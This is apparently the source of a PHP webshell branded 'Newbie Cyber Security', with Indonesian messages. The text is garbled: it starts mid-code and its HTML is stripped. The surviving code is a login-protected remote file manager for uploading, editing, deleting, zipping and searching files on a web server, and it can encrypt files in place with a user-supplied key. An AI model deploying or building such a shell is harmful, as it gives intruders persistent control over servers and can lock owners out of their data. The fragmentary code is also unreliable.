LOGIN WEBSHELL - NEWBIE CYBER SECURITY

MAX_LOG_SIZE) { // Rotate log by renaming old rename(LOG_FILE, LOG_FILE . '.old'); } file_put_contents(LOG_FILE, $line, FILE_APPEND | LOCK_EX); } function isLoggedIn() { return !empty($_SESSION['logged_in']); } function checkLogin($user, $pass) { if ($user === USERNAME && password_verify($pass, PASSWORD_HASH)) { $_SESSION['logged_in'] = true; logActivity("Login successful", "User: $user"); return true; } logActivity("Login failed", "User: $user"); return false; } function sanitizePath($path) { $real = realpath(ROOT_DIR . DIRECTORY_SEPARATOR . ltrim($path, "/\\")); if ($real === false) return false; if (strpos($real, ROOT_DIR) !== 0) return false; return $real; } function h($str) { return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } // ------------------- ACTION HANDLERS ------------------- if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['login_user'], $_POST['login_pass'])) { // Login attempt if (checkLogin($_POST['login_user'], $_POST['login_pass'])) { header("Location: " . $_SERVER['PHP_SELF']); exit; } else { $error = "Login gagal! Username atau password salah."; } } if (!isLoggedIn()) { http_response_code(403); die("Access denied."); } // Handle file upload if (isset($_FILES['upload_file']) && isset($_POST['upload_path'])) { $uploadDir = sanitizePath($_POST['upload_path']); if ($uploadDir === false || !is_dir($uploadDir)) { $error = "Upload path tidak valid."; } else { $filename = basename($_FILES['upload_file']['name']); $targetFile = $uploadDir . DIRECTORY_SEPARATOR . $filename; if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $targetFile)) { logActivity("Uploaded file", $targetFile); $success = "File berhasil diupload."; } else { $error = "Gagal mengupload file."; } } } // Handle delete if (isset($_POST['delete_path'])) { $target = sanitizePath($_POST['delete_path']); if ($target === false) { $error = "Path tidak valid."; } else { if (is_dir($target)) { // Hapus folder kosong saja if (@rmdir($target)) { logActivity("Deleted folder", $target); $success = "Folder berhasil dihapus."; } else { $error = "Gagal menghapus folder (pastikan kosong)."; } } else { if (@unlink($target)) { logActivity("Deleted file", $target); $success = "File berhasil dihapus."; } else { $error = "Gagal menghapus file."; } } } } // Handle rename if (isset($_POST['rename_old'], $_POST['rename_new'])) { $oldPath = sanitizePath($_POST['rename_old']); $newName = basename($_POST['rename_new']); if ($oldPath === false || empty($newName)) { $error = "Input rename tidak valid."; } else { $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $newName; if (file_exists($newPath)) { $error = "Nama baru sudah ada."; } else { if (rename($oldPath, $newPath)) { logActivity("Renamed", "$oldPath -> $newPath"); $success = "Rename berhasil."; } else { $error = "Gagal melakukan rename."; } } } } // Handle create file if (isset($_POST['create_file_path'])) { $filePath = sanitizePath($_POST['create_file_path']); if ($filePath === false) { $error = "Path tidak valid."; } elseif (file_exists($filePath)) { $error = "File sudah ada."; } else { if (file_put_contents($filePath, '') !== false) { logActivity("Created file", $filePath); $success = "File baru berhasil dibuat."; } else { $error = "Gagal membuat file."; } } } // Handle create folder if (isset($_POST['create_folder_path'])) { $folderPath = sanitizePath($_POST['create_folder_path']); if ($folderPath === false) { $error = "Path tidak valid."; } elseif (file_exists($folderPath)) { $error = "Folder sudah ada."; } else { if (mkdir($folderPath, 0755, true)) { logActivity("Created folder", $folderPath); $success = "Folder baru berhasil dibuat."; } else { $error = "Gagal membuat folder."; } } } // Handle file edit save if (isset($_POST['edit_file_path'], $_POST['edit_file_content'])) { $editFile = sanitizePath($_POST['edit_file_path']); if ($editFile === false || !is_file($editFile)) { $error = "File tidak valid."; } else { if (file_put_contents($editFile, $_POST['edit_file_content']) !== false) { logActivity("Edited file", $editFile); $success = "File berhasil disimpan."; } else { $error = "Gagal menyimpan file."; } } } // Handle encrypt file if (isset($_POST['encrypt_path'], $_POST['encrypt_key'])) { $filePath = sanitizePath($_POST['encrypt_path']); $key = $_POST['encrypt_key']; if ($filePath === false || !is_file($filePath)) { $error = "Path file tidak valid."; } elseif (strlen($key) < 16) { $error = "Kunci enkripsi minimal 16 karakter."; } else { try { $data = file_get_contents($filePath); $ivlen = openssl_cipher_iv_length('aes-256-cbc'); $iv = openssl_random_pseudo_bytes($ivlen); $encrypted = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); if ($encrypted === false) throw new Exception('Enkripsi gagal'); file_put_contents($filePath, $iv . $encrypted); logActivity("Encrypted file", $filePath); $success = "File berhasil dienkripsi."; } catch (Exception $e) { $error = "Error: " . $e->getMessage(); } } } // Handle decrypt file if (isset($_POST['decrypt_path'], $_POST['decrypt_key'])) { $filePath = sanitizePath($_POST['decrypt_path']); $key = $_POST['decrypt_key']; if ($filePath === false || !is_file($filePath)) { $error = "Path file tidak valid."; } elseif (strlen($key) < 16) { $error = "Kunci dekripsi minimal 16 karakter."; } else { try { $data = file_get_contents($filePath); $ivlen = openssl_cipher_iv_length('aes-256-cbc'); $iv = substr($data, 0, $ivlen); $ciphertext = substr($data, $ivlen); $decrypted = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); if ($decrypted === false) throw new Exception('Dekripsi gagal'); file_put_contents($filePath, $decrypted); logActivity("Decrypted file", $filePath); $success = "File berhasil didekripsi."; } catch (Exception $e) { $error = "Error: " . $e->getMessage(); } } } // Handle compress to ZIP if (isset($_POST['compress_path'], $_POST['zip_name'])) { $sourcePath = sanitizePath($_POST['compress_path']); $zipName = basename($_POST['zip_name']); $zipPath = ROOT_DIR . DIRECTORY_SEPARATOR . $zipName; if ($sourcePath === false) { $error = "Path sumber tidak valid."; } elseif (empty($zipName) || substr($zipName, -4) !== '.zip') { $error = "Nama file zip harus diakhiri dengan .zip"; } else { $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { $error = "Gagal membuat file zip."; } else { $filesAdded = 0; if (is_dir($sourcePath)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($sourcePath, RecursiveDirectoryIterator::SKIP_DOTS) ); $baseLen = strlen($sourcePath) + 1; foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, $baseLen); $zip->addFile($filePath, $relativePath); $filesAdded++; } } } elseif (is_file($sourcePath)) { $zip->addFile($sourcePath, basename($sourcePath)); $filesAdded++; } $zip->close(); if ($filesAdded > 0) { logActivity("Compressed to ZIP", $zipPath); $success = "Berhasil membuat file zip: " . h($zipName); } else { $error = "Tidak ada file yang dikompres."; unlink($zipPath); } } } } // Handle unzip if (isset($_POST['unzip_path'], $_POST['unzip_to'])) { $zipPath = sanitizePath($_POST['unzip_path']); $extractTo = sanitizePath($_POST['unzip_to']); if ($zipPath === false || !is_file($zipPath)) { $error = "File zip tidak valid."; } elseif ($extractTo === false || !is_dir($extractTo)) { $error = "Direktori ekstrak tidak valid."; } else { $zip = new ZipArchive(); if ($zip->open($zipPath) === TRUE) { $zip->extractTo($extractTo); $zip->close(); logActivity("Unzipped file", $zipPath . " to " . $extractTo); $success = "Berhasil mengekstrak file zip."; } else { $error = "Gagal membuka file zip."; } } } // Handle logout if (isset($_POST['logout'])) { logActivity("User logged out"); session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } } // ------------------- UI ------------------- if (!isLoggedIn()) { // LOGIN FORM ?> LOGIN WEBSHELL - NEWBIE CYBER SECURITY '🌀', 'txt' => '📄', 'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'zip' => '📦', 'rar' => '📦', 'exe' => '⚙️', 'html'=> '🌐', 'js' => '📜', 'css' => '🎨', 'json'=> '🗂️', 'md' => '📄', 'default' => '📁', ]; return $icons[$ext] ?? '📄'; } // Helper to get parent dir link function parentDir($dir) { $parent = dirname($dir); if ($parent === '.' || $parent === '/') return ''; return $parent; } ?> NEWBIE CYBER SECURITY - SHELL

NEWBIE CYBER SECURITY - WEBSHELL

' . h($error) . '

'; } if (!empty($success)) { echo '

' . h($success) . '

'; } // Breadcrumb $crumbs = explode(DIRECTORY_SEPARATOR, trim($relDir, DIRECTORY_SEPARATOR)); echo ''; // File list echo ''; echo ''; foreach ($files as $file) { if ($file === '.') continue; if ($file === '..') { $parent = dirname($relDir); if ($parent === '') $parent = '.'; echo ''; continue; } $filePath = $dirPath . DIRECTORY_SEPARATOR . $file; $relFilePath = trim($relDir . DIRECTORY_SEPARATOR . $file, DIRECTORY_SEPARATOR); $isDir = is_dir($filePath); $size = $isDir ? '-' : filesize($filePath); $type = $isDir ? 'Folder' : mime_content_type($filePath); $icon = $isDir ? '📁' : fileIcon($file); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '

Nama	Ukuran	Tipe	Aksi
.. (Ke Folder Induk)
' . $icon . ' '; if ($isDir) { echo '' . h($file) . ''; } else { echo h($file); } echo '	' . ($isDir ? '-' : number_format($size)) . '	' . h($type) . '	'; // Actions: Edit (file), Delete, Rename, Encrypt, Decrypt if (!$isDir) { echo 'Edit \| '; echo 'Encrypt \| '; echo 'Decrypt \| '; } echo ' '; echo ''; echo ''; echo ' '; echo ' \| '; echo ' '; echo ''; echo ''; echo ''; echo ' '; echo '

'; ?>

Upload File ke:

Buat File Baru

Buat Folder Baru

Edit File:

File tidak ditemukan atau path tidak valid.'; } } // Encrypt file form if (isset($_GET['encrypt'])) { $encPath = sanitizePath($_GET['encrypt']); if ($encPath && is_file($encPath)) { ?>

Encrypt File:

File tidak ditemukan atau path tidak valid.'; } } // Decrypt file form if (isset($_GET['decrypt'])) { $decPath = sanitizePath($_GET['decrypt']); if ($decPath && is_file($decPath)) { ?>

Decrypt File:

File tidak ditemukan atau path tidak valid.'; } } // Compress to ZIP form ?>

Compress ke ZIP

Unzip File

Pencarian File

Hasil pencarian untuk: ' . h($searchTerm) . ''; $results = []; // Recursive search function function recursiveSearch($dir, $term) { $res = []; $items = @scandir($dir); if (!$items) return $res; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (stripos($item, $term) !== false) { $res[] = $path; } if (is_dir($path)) { $res = array_merge($res, recursiveSearch($path, $term)); } } return $res; } $results = recursiveSearch($dirPath, $searchTerm); if (count($results) === 0) { echo '

Tidak ada file/folder ditemukan.

'; } else { echo '

' . $icon . ' ' . h($rRel) . '

'; } } ?>

LOGIN SHELL NEWBIE CYBER SECURITY